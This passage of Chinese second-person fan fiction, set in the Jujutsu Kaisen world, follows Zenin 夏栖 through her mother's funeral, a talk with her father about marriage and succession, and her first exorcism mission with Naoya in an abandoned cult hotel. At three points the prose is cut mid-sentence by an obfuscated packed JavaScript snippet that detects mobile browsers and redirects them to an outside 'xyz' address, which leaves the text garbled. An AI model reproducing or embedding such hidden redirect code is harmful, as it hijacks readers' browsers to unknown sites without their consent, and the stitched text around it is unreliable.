由子女把母亲最爱的东西放入棺中。你手里确实拿了一个红丝绒的布袋,但装在里头的是什么,你完全没有概念。 就这么迷迷糊糊地把东西送上,合拢棺椁。把串珠捏在手中,听戴着高帽子的僧人诵经,思绪飘到了完全和母亲无关的事情上去。 守夜的时候,你也没有那么认真,好几次犯困打盹,晃来晃去的身子一会儿靠在父直毘人身上,时而又搭到了直哉的肩头。他嫌弃地推开你,一点哥哥的样子都没有,还不如父亲贴心呢,至少他会拍拍你的后背,叫你快醒醒。 隔天上午就是火化了,隔着一层墙壁能听到轰隆隆的声音,想必是火焰吃掉躯壳时发出的声响。 拾灰的差事是父亲和直哉共同完成的。你没有加入的原因,当然因为你还是个孩子。好在你对这种事也不感兴趣。 带着骨灰回到家的时候,举办葬礼的祭堂已经早早地拆除了,变回空荡荡一贯无趣的模样。母亲的骨灰盒暂且被安置在她房间的神龛里,等待着开春后的好日子再下葬。直到此刻你才为她感到难过——为这份无法入土为安的不安难过。 这份不安让你也有点不安。你在神龛前拜了拜,起身时,瞥见到了直毘人站在屋外的身影。他向你招招手,招呼你去了书房。 “等土化冻了,就会落葬了。”他安慰你,“别为母亲的事情太难过了,夏栖。” “嗯……我知道的。” 你点点头,然后揉揉眼睛。 没有共情之心的小孩,是最不会被喜欢的孩子。你深谙此道,所以哪怕是把眼球挤爆,你也要赶紧在父亲的眼前挤出几滴眼泪。 但很快,你的眼泪就掉不出来了。 “在你母亲去世之前,一直叮嘱我说,要为你早早定下夫婿。” 你惊讶地抬起头,一时间都忘记伪装出悲伤女儿的模样了,怔怔地看着直毘人,不算聪明好在也没那么笨蛋的脑袋差点转不过来。 定下夫婿……意思是,你的价值果然只是子宫而已吗? 就算你那么努力、那么有天赋,最终也不过是在为了一个被觊觎的器官增色增彩,是这么回事吗? 母亲的脸忽然很清晰地浮现在你的眼前,而后稍稍变得膨胀了些、扭曲了些,拧成奇怪的模样。你能想象从她皲裂的嘴里说出“夏栖”这个名字,紧接着继续说:“我觉得还是要早点决定好她的夫家。” “你母亲觉得,最般配也最门当户对的家族肯定是御三家中的加茂,如果尚且和五条家关系和谐的话,五条悟应该也可以考虑,但这个就先不提了。” 这么说着的直毘人当真顿了顿话语,转身从桌下摸出酒壶,摆在桌面上,让圆润的葫芦形状隔在你们之间。 “只是加茂家也有加茂家的问题。 “正室生下的嫡子没一个能继承家传术式,你母亲觉得让你嫁给废物是一定不行的,禅院家的女儿怎么都得成为家主夫人才行。 “但是,继承了术式的男孩是过继来的庶子,比你小了两岁,你母亲觉得他太跌份,家族候选人的位置也岌岌可危。一直到去世的前一天,她还在念叨着这件事。” 也就是说,直到生命的最后一刻,她还要再恶心你一下吗?自己的价值被定义为子宫,于是看到的所有女人都只剩下了一颗子宫。 你后悔了,真不该对她抱有“空无一物”之外的任何感情。 不知道有没有察觉到你难以抑制的厌恶表情,直毘人又补上了一句:“当然了,他也在惦记着直哉的亲事,想为他找到合适的妻子。她在这件事上显然更加愁苦一点。” 哦哦,原来是在平等地用封建之心恶心你们兄妹俩呀。 恭喜她,目的达成了,因为你现在真的觉得浑身难受。 “夏栖。” 父亲喊你。 “你自己是怎么想的?” 你是怎么想的? 你想把母亲的骨灰丢进隅田川里被鱼吃,就是这样。 真心话当然一句也不能说。你也早就收敛起了不快的表情,冲直毘人咧嘴一笑,眯起来的眼睛与他很是相似。 “我觉得太早了。现在不是考虑这种事的时候。”你说,“我现在需要做的事是变得更强——而且,我未来会当上的角色,一定不是家主夫人。我要成为在此之上的人。” 你看着直毘人,他也看着你。在不算长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817865|175402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久也并不那么短暂的沉默之后,他爆发出了一声大笑,抄起桌上的酒壶,猛猛灌了两大口,发出一声分外畅快的“啊——!”,把酒壶重新砸回原处。溅起的酒洒在了书信上,他满不在意,只笑着看你。 “没错,是这么个道理。”他点点头,“作为家主继承人的候选者之一,现在考虑这种事情,确实太早了。就当我和你说了个笑话吧,别放在心上。我们未来不会再讨论这个问题。” 不会再讨论了吗?那可太棒了……等等! 你回忆着直毘人刚说的话,那句“作为家主继承人的候选者之一”清晰地钻进了你的耳朵里,并且开启了单曲循环模式,不停不停地在你的耳边打转。 也就是说,你被父亲认可了吗?你站上了和直哉一样的起跑线? 你真想跳起来,或者高高兴兴地去搂直毘人的脖子,但你也没忘记现在还是服丧期,赶紧收敛起了一切过火的情绪,只朝他躬了躬身,就告辞离开了。 “对了,夏栖。”在你即将走远时,他又叫住了你,“你知道我是怎么当上家主的吗?” 你其实毫无头绪,不过还是努力想了想:“因为老爸你又厉害又有天赋吗?” “是。但不止如此。” 他靠在椅子上,压出“吱呀”的一声。 “因为我会为自己的一切好与坏负责。” 你好像听懂了,但好像也没有完全明白,不过还是认真地点了点头,决心从此之后把这句话当做自己的座右铭。 回到房间,小麦早就甩着尾巴等你了,一脸笑眯眯的样子,嘴里还叼着它最喜欢的网球,正等着你和它一起玩呢。你拍拍它毛茸茸的脑袋,说了句抱歉。 “我还要继续训练呢。你可以谅解我的,对吧?” 小麦一定原谅你了,否则它也不会目送着你跑向咒具训练场,欢快的尾巴一秒也不停。 从正式宣誓了野心的这一天开始,你加倍努力,用心学习,隔年夏天在禅院家的晋升考核中一举拿下四级咒术师的名头,打平了你哥在十岁时创下的壮举,就此迈出了咒术师的第一步。 旁观了整场考核直哉看起来松了口气。真是让人气恼的反应。 “你能不能表现得更加不甘心一点?”你气得用咒具戳他,“这样子才更像样啊!” “你以为我会担心你比我强吗?怎么可能!” 他大笑着,以一种怜悯的心态搓搓你的脑袋。 “妹妹怎么可能比哥哥强呢?上次的速度比赛不是已经证明这一点了嘛。” 你甩开他的手:“上次是平手!难道你的脑袋里也出现了不存在的记忆吗?” “哼哼~” 心情好到不行的直哉加快脚步,把你笼罩在他的影子里。真幼稚。 然后你更幼稚地在他的背后做了个鬼脸。 当上了咒术师,就在承担起相应的责任。不久之后你就收到了第一份委托,是协助家里的某位准一级咒术师祓除废弃酒店里的咒灵。 而那位准一级咒术师,就是禅院直哉。 13. 你,首次任务 当直哉一脸不高兴地走进房间,说出那句“下周你要跟着我一起去祓除咒灵”的时候,你以为这家伙又在恶搞你,因此你给出的反应是大咧咧地往榻榻米上一躺,把碍事的和服衣摆往上一撩,翘起二郎腿,漫不经心地晃了晃,视线这才落在挂历上。 “直哉,今天是七月三号。” “是,我知道。”他搞不懂你,“扯开话题干什么?” “我没在扯开话题。其实我想要表达的意思是,今天不是四月一日愚人节,所以你骗不到我。” “……” 他瘪着嘴,本就很不爽的心情一定因为你不上心的态度更加不爽了,也难怪他一下子把你从地上揪了起来,像摆正一个洋娃娃那样让你赶紧坐好——撇开不太温柔的行动方式不说,他这副腔调倒总算是有点长兄的样子了。 “是寿朗叔父决定的。你认识他吧?” 你愚蠢地甩甩脑袋:“没见过。要不就是见过但是忘记了。” “都当上咒术师了,倒是对家里的事情多上点心行不行。”他抬手敲你脑袋,真是毫不留情,“他在我们家就是类似于辅助监督的存在,专门进行咒灵委托的前期安排。” “哦——收尾工作呢?” “总监部会负责的。你现在别那么多好奇心行不行。” 他又要开始敲你了,被你轻松躲开。好在他对打你这件事执念不深,撇了撇嘴,又接着说下去了。 “总之,这次的祓除的咒灵只有二级,本来准一级的我独自一人就能轻轻松松解决,但是老爸说要多着力培养家里有天赋的四级咒术师——说的不就是你嘛。”直哉翻了个白眼,“然后寿朗叔父就硬把你这个拖后腿的塞给我了。事情就是这样,现在你听明白了吧。” “哦——” 你了然般夸张地点了点头,突然想到了什么,窃笑着挨到直哉身边。 “就是说,我的天赋你也是很认同的?否则老爸说‘家里有天赋的四级咒术师’的时候你怎么会一下子就想到我呢!” “你在想什么。”直哉的白眼快要翻到天灵盖上去了,一巴掌把你推开,“别挨这么近,我本来看你就烦。” “但我们要一起执行任务了哟,挨近点才安全嘛!” 这么说着的你故意对直哉进行了一个贴贴的大动作,他也彻底被你烦得不行,丢下嫌弃的“嘁”一声,拍拍袖子回去了,独留你在房间暗自偷笑。 太好了,今天也成功地为混蛋哥哥添堵了呢! 当然了,如果撇开“添堵”这个罪恶的用意,其实你内心是一点都不想和直哉一起去祓除咒灵的。也没什么特别的理由,就是不乐意,也不想在干活的时候被他嫌弃,更不希望人生中第一次的祓除经历留下不愉快的记忆。 说真的,只要是除了直哉以外的其他人,全都可以嘛,就算是和不太熟的小弟兰生一起去也好啊,毕竟没经验的废柴就是要聚在一起努力历练才能变强的嘛! 有没有什么办法更够改变这次祓除行动的人员配置呢…… 你费劲思索,觉得还是应该从负责人员调度的寿朗叔父那里下手。 你甚至考虑过好好贿赂寿朗叔父一番,只是这个想法在瞄了一眼自己空荡荡的钱包之后就彻底消失无踪了——这点钱还是打发叫花子吧。 但就算真的有钱了,你的财力也无处施展。 寿朗叔父太忙了,大概是整个禅院家家里最忙碌的无术式成员,除了辅助监督之外的很多杂货也一股脑地全都塞给了他。他就像个陀螺那样从这儿被抽打到那儿,一整天都转个不停,你蹲守了好几天居然都没有等到他空闲下来的时候,真是糟透了。 而正是在这蹲守的期间,时间悄悄溜走,这场安排也彻底没有了回旋的余地。你被迫背上咒具,和直哉一起站在禅院家大宅的门口,等着寿朗叔父开车过来送你们去咒灵出没的地点。 毕竟是比你更加经验老道的咒术师,直哉的脸上看不出多少紧张。且经过这几天的沉淀,他已经逐渐接受了和你一起祓除咒灵的这件事,所以连眼眸里藏着的嫌弃都不见了。 和你不一样,他没有携带咒具,双手空空荡荡地插在麻叶纹的小袖和服里,宽大的垮裤一如既往松松垮垮。 “你不嫌热吗?”你光是看着都觉得好闷,“祓除咒灵还穿和服,就不担心咒灵踩住你的垮裤把你绊倒吗?” 直哉笑眯眯:“我不像你,会穿这种露出大腿的短牛仔裤。毕竟是禅院家的嫡子,我总得表现得像样一点才行。” 明里暗里就是在说你不像样嘛。 “这身装束是为了轻便行动而考虑的。”你骄傲地把自己结实的大腿踩到他的眼前,“放心,这很时尚,也很像样。” 直哉用脚尖嫌弃地把你的腿拨开:“到时候腿上留下伤疤的时候别哭着喊‘哥哥救我’,我不会听的。” “放心,我不会受伤,更不会说出这么软弱的话。” 你觉得直哉这下子一定没话说了,可他却还是斜眼睨着你。 看着看着,他忽然来了一句:“好矮。” 早就已经脱离了青春期的直哉终于窜到了一米八的大高个,而尚未迎来人生中最后一次成长期的你与他存在着将近半米的身高差。而这点落差化作现状就是,你离他的肩膀还有半个脑袋的差距。 大概是话题跳跃得实在太快,害得你一下子没反应过来,也根本想不到他是在说你,相当愚蠢地“啊?”了一声。而他居然也很耐心地重读了一遍:“我刚才在说你矮。” 你听懂了。你明白了。你暴起了! “你要是不愿意和我一起出任务就直说吧,反正我也没那么乐意和你成为命运共同体,但是人身攻击是不是太过分了一点?” “陈述事实算什么人身攻击。” 说着,他还拍了拍你的脑袋,侮辱性可以说是相当之强了。 你更加气急败坏:“都要开始任务了,别做这么无聊的事好不好!” “安慰一下妹妹都不行了?夏栖,你好难伺候啊。” “这算是什么安慰啦!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817866|175402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >无聊的拌嘴进行了三轮,寿朗叔父终于开着车过来了。接着你们又为了谁坐在副驾驶争辩了一会儿,谁都不想相让,最后干脆一起坐进了后排。汽车将禅院家甩在车尾,缓缓驶入今日阴沉的街道之中。 你们即将去往的地方是群马的一处废弃酒店。在经济蓬勃的八十年代,这里曾是整条街上最热闹的温泉酒店,听说是整夜灯火通明的存在,时刻都洋溢着金钱的流水声,直到泡沫经济破灭为止。 空关的温泉酒店在新千年到来之时,被打包卖给了一个宗教法人机构,其名为“永生学会”——不用想也知道是邪教。他们将酒店打造成了学会的圣殿与住所,在此地修行生活,力图实现不老不死,成为超越普罗大众的存在。 “但这种事情是不可能发生的吧?” 你听到一半,实在忍不住了,插嘴进来。 “他们都不看漫画的吗?那种追求不老不死的人都会变成被主角一击秒杀的反派的。而且人生要设限才更有趣啊,没了限制那多没意思。” “大人说话的时候小孩子能不能别插嘴?”明明在这辆车上也还没真正地成为大人的直哉堵住你无聊的发言,“好好听寿朗叔父说话。” 什么嘛,平常也没见他对家里的长辈多尊敬,今天倒是摆出一副上位者的样子教训你了,估计就是想表现出自己更厉害一点吧。 想说的吐槽都说完了,你也懒得戳穿直哉的幼稚用意了,“哦”一声看向窗外,望着公路下的吹割瀑布奔向河流,暗自心想今天会不会有机会泡会儿温泉,毕竟你们都已经来到温泉圣地群马了。 寿朗叔父不好意思地笑笑,等气氛稍微平缓一点了,才继续说下去:“在十天前,「窗」在该地点观测到了二级咒灵的产生,同时出现了一层结界,期间并未有任何人类从其中离开。考虑到咒术师的安全,所以才等到结界逐渐消退的现在才开始祓除行动。请两位尽力祓除盘踞在酒店的二级咒灵。” “这种事情,用不着‘尽力’也能做到的。”直哉睨着你,“别拖我后腿,夏栖。” “你才是。”你也毫不留情,“不许抢走我的风头。” 说话间便已来到了目标地点——荒废的温泉街。道路两旁皆是碎了玻璃的空窗框,一阵风吹过来,呼啸声响亮得可怕,仿佛是这些空房子正在咆哮。 你默默扣好了衬衫最上方的那颗扣子,总感觉还是有点冷,心脏也跳得稍快了一点。 你做了那么多训练,也见过各种各样的咒灵了。可实地执行任务,这还是第一次啊…… 深呼吸一口气,你背起咒具,迈步向前。 “喂喂,这就出发了?” 直哉在身后叫住你,你只好停住脚步,困惑地盯着他:“是要我等等你吗?” “不是这个意思。” 他指了指天空。可这阴暗的色泽不是和来时一模一样吗? 见你无动于衷,他继续提醒:“你有没有忘记什么事?” “忘记什么事……啊!” 忘记放「帐」啦! 14.你,永生学会 该说是丢脸呢还是丢脸呢还是丢脸呢,你万万没想到今天犯下的第一个错会是这么低级的错误——居然连「帐」都忘记放了! 也难怪直哉能够笑得这么嚣张,无论是扬起的嘴角还是飞扬的眉梢全都在嘲弄着你。 要是可以,你真想锤他一拳,但错在自己,你也只能涨红着脸,迈着机械般的步伐走回来,艰难地竖起两根指头,磕磕巴巴地第一次念出了「帐」的咒语。 “由、由暗而生,暗中至暗,污浊……呃,污浊残秽,尽数祓除!” 虽然背得稍稍不熟练了一点,那透黑色的穹顶到底还是落下来了,将你与直哉还有温泉酒店包裹其中。 好好好,补救成功了! 你松了口气,而直哉同情地望了你一眼:“连「帐」都放得这么艰难,今天的祓除看来会很不容易呢。” “才不会有这种事。” “放心放心,我一回去就会把你的‘优秀表现’说给别人听的。” 你皮笑肉不笑:“哈哈哈你的发言真的很幽默哦直哉君。” 说完,你就丢下他,一个人迈过酒店大门了。 落了灰的投币式伞架摆在门廊前,久久未曾使用,变成了一个方形的破铜烂铁,在你走过时,很突兀地发出了“吱呀”的一声。 哼,你一点都没被吓到——要当家主的你怎么可能会被“吱呀”一声吓坏?不过你的脚步还是顿了顿,这绝对只是因为你的大脑处理器卡顿了一下。 走进大堂,率先映入眼中的是一个血红色的无限符号,被包裹在同样红色的纺锤形中,如同刻着莫比乌斯环的眼睛,突兀地出现,突兀地在一片寂静中瞪着你。 哼,你一点都没被吓到——要当家主的你怎么可能会被莫名其妙的图案吓坏?但你还是稍微纠结了一下这图案到底是用鲜血还是油漆画的,并且默默把脚步放得更慢,以至于直哉都能超过你了。 “乱七八糟啊。” 他看着酒店大堂被打碎的木桌与椅子,发出了这番感叹。 不过感叹持续一秒就够了,作为在场级别最高的咒术师,他转头就向你下达指令了:“我们分头行动,把酒店搜查一遍。我之前已经看过地图了,这家酒店二楼以上的部分以电梯厅为分界线,南北两侧是完全对称的结构。我搜索南侧,你去看北侧,要是遇到你自己处理不了的情况了就大声喊我,反正我们之间的距离肯定不会超过两层楼。行动方针就这样,你有异议吗?” “没有。” 你明明说出的是句好话,他却不确信地瞄了你一眼。 “真没有?”说完又是小声嘀咕,“现在倒是挺乖的。太难得了。” 你点点头:“真没有。啊,不过……” 直哉一副“我就说吧”的表情,等待着你接下来的话语。而你指了指天花板。 “这座酒店有几层?” “十三层。” “咦——恶魔的数字!”你嫌弃地皱眉,抓紧了系着咒具的带子,“好,我出发了!” 说完你就冲上了楼梯,一秒都不想多耽误,生怕被自己不争气的恐惧感赶上,否则真的就要迈不出脚步了。 温泉酒店的地毯是深红色的,上面似乎还飘着一层微妙的污秽,你分不清这层脏东西是什么,也没那么想要辨明。 一脚踩在绵软的地毯上,松垮的羊毛纤维发出压扁的脆响,两旁剥落的墙纸软趴趴地倒下,弯折成难看的弧形,露出学会成员们在墙面上写下的祈愿永生的话语。拐弯,第一间房突兀地出现在眼前,虚掩的门缝里藏着黑洞洞的未知,等待着你去揭秘。 依然不敢停下,不想被恐惧感追上,你抽出了背上的咒具——那是一柄长矛。你用矛尖轻轻一顶,在吱呀的声响中推开了房门,屋里的一切倏地跳进视野之中,你的心脏不自觉地猛抽了一下,带来惊慌的实感。 但实际情况说,屋里空无一物。 是的,字面意义上的空无一物。 这是一间未被使用的房间,所有家具都被搬出去了,就连浴室门的碎玻璃也被清空,留在此地的只有脏兮兮泛黄的时间痕迹。 你的心脏尚且处在恐惧感的余波之中。 也就是说,你的心跳依然急促且无力,像是无意义的抽搐,连带着让呼吸的空气都变得稀薄了一些。 你停下脚步,在原地猛喘了几口气,总算是缓过来了,这才重新迈步,走向下一间房。 这座酒店实在太过寂静,行走其中,无所适从的陌生感太过强烈,如同过分沉重的空气,从外到内压迫着你。你不自觉屏住呼吸,在不安与紧张飘升到顶峰时,推开了又一扇门。 空无一物。又是这样。 于是不安感骤然落下,带来更不惬意的感受。心跳更加乱糟糟了,你真心觉得自己不能再像这样乘上情绪过山车了,拍了拍脸振作起来,加快搜寻速度。 整个二楼都是空房,看来看去都是一样潮湿陈旧的旧房间。三楼被彻底打通,做成了一处近似道场的空间,铺着一层崭新的木地板,天花板上却还留有没拆除干净的墙壁,让这里看起来更加别扭。 此处也没什么奇怪的。被铲平的空间什么也见不到,包括活人尸体以及咒灵。你细细地看过了每一寸地板,同样没有找到残秽的痕迹。这一点和二楼的状况一模一样。 不会咒灵早就已经从这里逃走了吧?或是说「窗」的眼力出了问题? 如果都不是的话,那就只可能是…… “唉——” 摸摸叹气,迈着早已不那么轻快的步伐踏上台阶。 没事的,没什么好担心的,也别害怕。不管怎么想,你都不会一命呜呼死在这儿的! 再说了,直哉也在这儿呢。虽然作为哥哥和男人的他相当讨人厌,但从咒术师的角度评价,他还是很优秀的。有他作为自己的兜底,更加没什么好担心的! 你一边安慰着自己,一边捅开了四楼的第一间房门。 这是单人间,摆在正中央的小床上乱糟糟地堆了几身衣服,吃到一半的羊羹也摆在旁边,似乎住客才刚离开不久。你试探性地喊了一声“有人吗”,话语撞到了墙壁上,而后弹回到你的耳中。有什么很难闻的气味飘散在房间里,你意识到臭味的源头在卫生间。 陌生的、积攒着污水与肮脏的地方,如果可以的话,真不想主动进去啊。 你一边想着“不想”,一边举起长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15828227|175402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矛,用矛尖勾开了卫生间的小门。更浓郁刺鼻的臭气扑面而来,你眯了眯眼,于是眼前赤红色的画面也随之压缩成了纤细的一条,冲击力依然强烈到足够让你后退一步。 尸体,那是尸体。 躺在浴缸里的尸体,浸泡在自己的血水之中,他的右手臂搭在鱼缸边缘,脑袋也朝这一侧歪着,空洞的眼睛不知道在看着什么,皮肤已经变成了诡异的黑绿色。 你不合时宜地想起了雅克·路易·大卫的《马拉之死》,那幅画上的主人公也是同样的一副死相,甚至连他们的左手中攥着一张纸条也如此相似。 你都不知道你是怎么靠近的。 第一次见到的同类的尸体,你全身上下的细胞都在叫嚣着“快逃”。可你还是向前了,一步一步朝着赤黑色的鱼缸靠近。昏暗的灯光让纸张蒙了尘,你的脸几乎要贴在恶臭的源头了,才终于看清。 “活下去”,纸上这么写着。密密麻麻地写着。 在字与字的间隙之中,你还看到了更小的,杂乱地写下的字句—— ——“让我死”。 所以,是自杀吗? 你暂时无法得出答案。从尸体露出的部分看不出具体的死因,你当然也没胆子看看血水之下的情况。这部分搜查暂告一段落,冲出房间的你满脑子都在想,咒术师可真是个苦差事。 继续向前,见到了更多的尸体,男人或是女人,孩子或是老者,完整或是撕裂。他们都倒在自己的房间里,有人在自己的身上刻下了莫比乌斯环,有人用手比划出这个图形。唯一的共同点是,他们的心口都有一处自里向外的伤口,对应的后心处却完好无损,简直像是有什么东西从胸腔里爬出来了。 嘶——你还是别多想了。 从八楼开始,残秽出现了,踏在墙壁上,呈现出三爪的爪印。越往楼上,越发清晰,也更加庞大,几乎能够盖住顶层的豪华套房。 但是,搜遍了十三楼,你并未找到咒灵的踪迹,也没听见直哉的讯息。 果然是已经逃出去了吧!你几乎可以认定就是这样没错了。 也是在同时,你听到了脚步声,从身后靠近,微弱却清晰。 你依然不想承认你害怕了,但你的心确实陡然提了起来。默默攥紧咒具,在心里倒数了一秒钟,你用力朝后方挥去。 “是我啦,是我。” 直哉一脸无奈地看着你,与此同时你的矛离他的漂亮面孔只有一毫米,而他居然没有因此而骂你,真是奇迹。 “呼——吓死人了。” 你赶紧把武器收起来。 “倒是直接喊我啊,从背后突袭太不道德了。” 他懒得理你,更加懒得反省,只问:“搜查下来怎么样?” “不怎么样。”你耸耸肩膀,“没有活人,全是尸体。有什么东西从他们的胸腔里爬出来了。” “我这儿也一样。” “那我们回去了?既然什么都没发现的话。” “别偷懒啊。” 直哉嘲弄似的看你了你一眼,抬手指向楼梯间。 “还有一层没去呢。” 在第十三层的楼梯间,通往上层的台阶就在眼前。